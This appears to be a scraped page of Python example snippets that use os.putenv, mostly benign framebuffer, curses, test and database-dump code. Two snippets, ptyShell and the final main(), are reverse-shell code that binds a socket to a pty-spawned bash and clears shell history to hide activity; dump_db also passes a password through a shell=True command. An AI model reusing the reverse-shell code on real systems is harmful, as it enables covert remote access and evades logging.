def __init__(self, background = None):
# Init framebuffer/touchscreen environment variables
os.putenv('SDL_VIDEODRIVER', 'fbcon')
os.putenv('SDL_FBDEV', '/dev/fb1')
os.putenv('SDL_MOUSEDRV', 'TSLIB')
os.putenv('SDL_MOUSEDEV', '/dev/input/touchscreen')
self._backlight_on = True
self.on()
# Init pygame and screen
print "Initting..."
pygame.init()
print "Setting Mouse invisible..."
pygame.mouse.set_visible(False)
print "Setting fullscreen..."
modes = pygame.display.list_modes(16)
self._screen = pygame.display.set_mode(modes[0], pygame.FULLSCREEN, 16)
self._needs_update = True
# Load background
self._background = pygame.image.load(background)
self._screen.fill(0)
self._screen.blit(self._background, (0, 0))
pygame.display.update()
# Load font
self._font = pygame.font.SysFont("Arial", 24)
self._images = []
self._buttons = []
self._status_lines = []
self.update()
python类putenv()的实例源码
def setUp(self):
os.putenv("KMP_DUPLICATE_LIB_OK", "TRUE")
self.engine = create_engine('sqlite:///test.db')
def dump_db(dump_path, schema_path, password='', *db_args):
schema = yaml.load(open(schema_path))
password = password or os.environ.get('DB_DEFAULT_PASS', '')
os.putenv('PGPASSWORD', password)
cmd = 'PGPASSWORD={password} pg_dump -Fc -Z 9 {args} {tables} -f {filename}'.format(
password=password,
args='-d {} -U {} -h {} -p {} '.format(
*(db_args or [os.environ.get(var) for var in ['DB_DEFAULT_NAME', 'DB_DEFAULT_USER',
'DB_DEFAULT_SERVICE', 'DB_DEFAULT_PORT']])),
tables=' '.join('-t {}'.format(table) for table in schema),
filename=dump_path
)
logging.debug('Dumping DB with following command: {}'.format(cmd))
subprocess.run(cmd, shell=True)
def load_db_to_new_instance(filename, db_args):
if not os.path.isfile(filename):
raise IOError('Dump file {} is not a file.'.format(filename))
os.putenv('PGPASSWORD', db_args.get('password'))
drop_schema(db_args)
subprocess.run(
'PGPASSWORD={password} pg_restore -Fc -j 8 {db_args} {filename} {redirect}'.format(
password=db_args.get('password'),
db_args=get_psql_db_args(db_args), filename=filename,
redirect='' if logging.getLogger().getEffectiveLevel() == logging.DEBUG else '>/dev/null 2>&1'),
shell=True
)
def gather_metadata(self):
os.putenv("ANSIBLE_SSH_ARGS", " -F {}".format(self.config['ansible']['ssh_config']))
ansible_cmd = \
'ansible-playbook -i {} {}' \
.format(self.config['ansible']['hosts'], self.config['ansible']['metadata_playbook'])
self.run_cmd(ansible_cmd)
if not self.check_metadata():
self.logger.warning("Metadata could not be gathered")
return False
else:
self.logger.info("Metadata about cloud has been gathered")
return True
def test_preexec(self):
# DISCLAIMER: Setting environment variables is *not* a good use
# of a preexec_fn. This is merely a test.
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;'
'sys.stdout.write(os.getenv("FRUIT"))'],
stdout=subprocess.PIPE,
preexec_fn=lambda: os.putenv("FRUIT", "apple"))
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read(), b"apple")
def test_preexec(self):
# preexec function
p = subprocess.Popen([sys.executable, "-c",
"import sys, os;"
"sys.stdout.write(os.getenv('FRUIT'))"],
stdout=subprocess.PIPE,
preexec_fn=lambda: os.putenv("FRUIT", "apple"))
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read(), "apple")
def test_preexec(self):
# preexec function
p = subprocess.Popen([sys.executable, "-c",
"import sys, os;"
"sys.stdout.write(os.getenv('FRUIT'))"],
stdout=subprocess.PIPE,
preexec_fn=lambda: os.putenv("FRUIT", "apple"))
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read(), "apple")
def condEnvironment(env=None):
if not env:
return
os.environ.clear()
for k in list(env.keys()):
os.putenv(k, env[k])
def screen_curses_init():
#
# number of milliseconds to wait after reading an escape character, to
# distinguish between an individual escape character entered on the
# keyboard from escape sequences sent by cursor and function keys (see
# curses(3X).
os.putenv("ESCDELAY", "0") # was 25
#
global STDSCR
STDSCR = curses.initscr()
curses.noecho()
curses.cbreak()
#
if not curses.has_colors():
raise Exception("Need colour support to run.")
curses.raw()
#
curses.start_color()
#
# This is what allows us to use -1 for default when we initialise
# the pairs
curses.use_default_colors()
#
curses.init_pair(PROFILE_GREY , curses.COLOR_WHITE , -1)
curses.init_pair(PROFILE_WHITE , curses.COLOR_WHITE , -1)
curses.init_pair(PROFILE_RED , curses.COLOR_RED , -1)
curses.init_pair(PROFILE_VERMILION , curses.COLOR_RED , -1)
curses.init_pair(PROFILE_ORANGE , curses.COLOR_RED , -1)
curses.init_pair(PROFILE_AMBER , curses.COLOR_YELLOW , -1)
curses.init_pair(PROFILE_YELLOW , curses.COLOR_YELLOW , -1)
curses.init_pair(PROFILE_CHARTREUSE , curses.COLOR_GREEN , -1)
curses.init_pair(PROFILE_GREEN , curses.COLOR_GREEN , -1)
curses.init_pair(PROFILE_TEAL , curses.COLOR_CYAN , -1)
curses.init_pair(PROFILE_BLUE , curses.COLOR_BLUE , -1)
curses.init_pair(PROFILE_VIOLET , curses.COLOR_MAGENTA , -1)
curses.init_pair(PROFILE_PURPLE , curses.COLOR_MAGENTA , -1)
curses.init_pair(PROFILE_MAGENTA , curses.COLOR_MAGENTA , -1)
curses.init_pair(PROFILE_BLACK_INFO , curses.COLOR_BLACK , curses.COLOR_WHITE)
curses.init_pair(PROFILE_ALARM, curses.COLOR_RED , curses.COLOR_WHITE)
def test_preexec(self):
# DISCLAIMER: Setting environment variables is *not* a good use
# of a preexec_fn. This is merely a test.
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;'
'sys.stdout.write(os.getenv("FRUIT"))'],
stdout=subprocess.PIPE,
preexec_fn=lambda: os.putenv("FRUIT", "apple"))
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read(), b"apple")
def ptyShell(action, sock):
# #platformshells = {
# 'win': 'cmd.exe',
# 'mac': '/bin/bash',
# 'nix': '/bin/bash',
# 'unk': ''
# }
# shellExe = platformshells[plat]
shellExe = '/bin/bash'
#preparing
oldin = os.dup(0)
oldout = os.dup(1)
olderr = os.dup(2)
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
#os.putenv("HISTFILE",'/dev/null')
#Shellz!
pty.spawn(shellExe)
# cleanup
os.dup2(oldin,0)
os.dup2(oldout,1)
os.dup2(olderr,2)
def setUp(self):
super(REPLWrapTestCase, self).setUp()
self.save_ps1 = os.getenv('PS1', r'\$')
self.save_ps2 = os.getenv('PS2', '>')
os.putenv('PS1', r'\$')
os.putenv('PS2', '>')
def tearDown(self):
super(REPLWrapTestCase, self).tearDown()
os.putenv('PS1', self.save_ps1)
os.putenv('PS2', self.save_ps2)
def get_screen(xwin=False):
"""Initializes a new pygame screen using the framebuffer"""
# Based on "Python GUI in Linux frame buffer"
# http://www.karoltomala.com/blog/?p=679
disp_no = os.getenv("DISPLAY")
if disp_no:
print "I'm running under X display = {0}".format(disp_no)
# Make sure that SDL_VIDEODRIVER is set
if xwin:
driver = 'x11'
else:
driver = 'directfb' # alternatives: 'fbcon', 'svgalib'
if not os.getenv('SDL_VIDEODRIVER'):
os.putenv('SDL_VIDEODRIVER', driver)
try:
pygame.display.init()
except pygame.error:
raise Exception('Display init failed with driver: {0}'.format(driver))
if xwin:
size = (320, 200)
options = 0
else:
# fullscreen
info = pygame.display.Info()
size = (info.current_w, info.current_h)
print "Framebuffer size: %d x %d" % (size[0], size[1])
options = pygame.FULLSCREEN | pygame.DOUBLEBUF
screen = pygame.display.set_mode(size, options)
# Clear the screen to start
screen.fill((0, 0, 0))
pygame.mouse.set_visible(False)
# Render the screen
pygame.display.update()
return screen
def test_preexec(self):
# preexec function
p = subprocess.Popen([sys.executable, "-c",
"import sys, os;"
"sys.stdout.write(os.getenv('FRUIT'))"],
stdout=subprocess.PIPE,
preexec_fn=lambda: os.putenv("FRUIT", "apple"))
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read(), "apple")
def test_preexec(self):
# DISCLAIMER: Setting environment variables is *not* a good use
# of a preexec_fn. This is merely a test.
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;'
'sys.stdout.write(os.getenv("FRUIT"))'],
stdout=subprocess.PIPE,
preexec_fn=lambda: os.putenv("FRUIT", "apple"))
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read(), b"apple")
def test_preexec(self):
# preexec function
p = subprocess.Popen([sys.executable, "-c",
"import sys, os;"
"sys.stdout.write(os.getenv('FRUIT'))"],
stdout=subprocess.PIPE,
preexec_fn=lambda: os.putenv("FRUIT", "apple"))
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read(), "apple")
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
def create_app(self):
os.putenv('STAGE', '')
return create_app()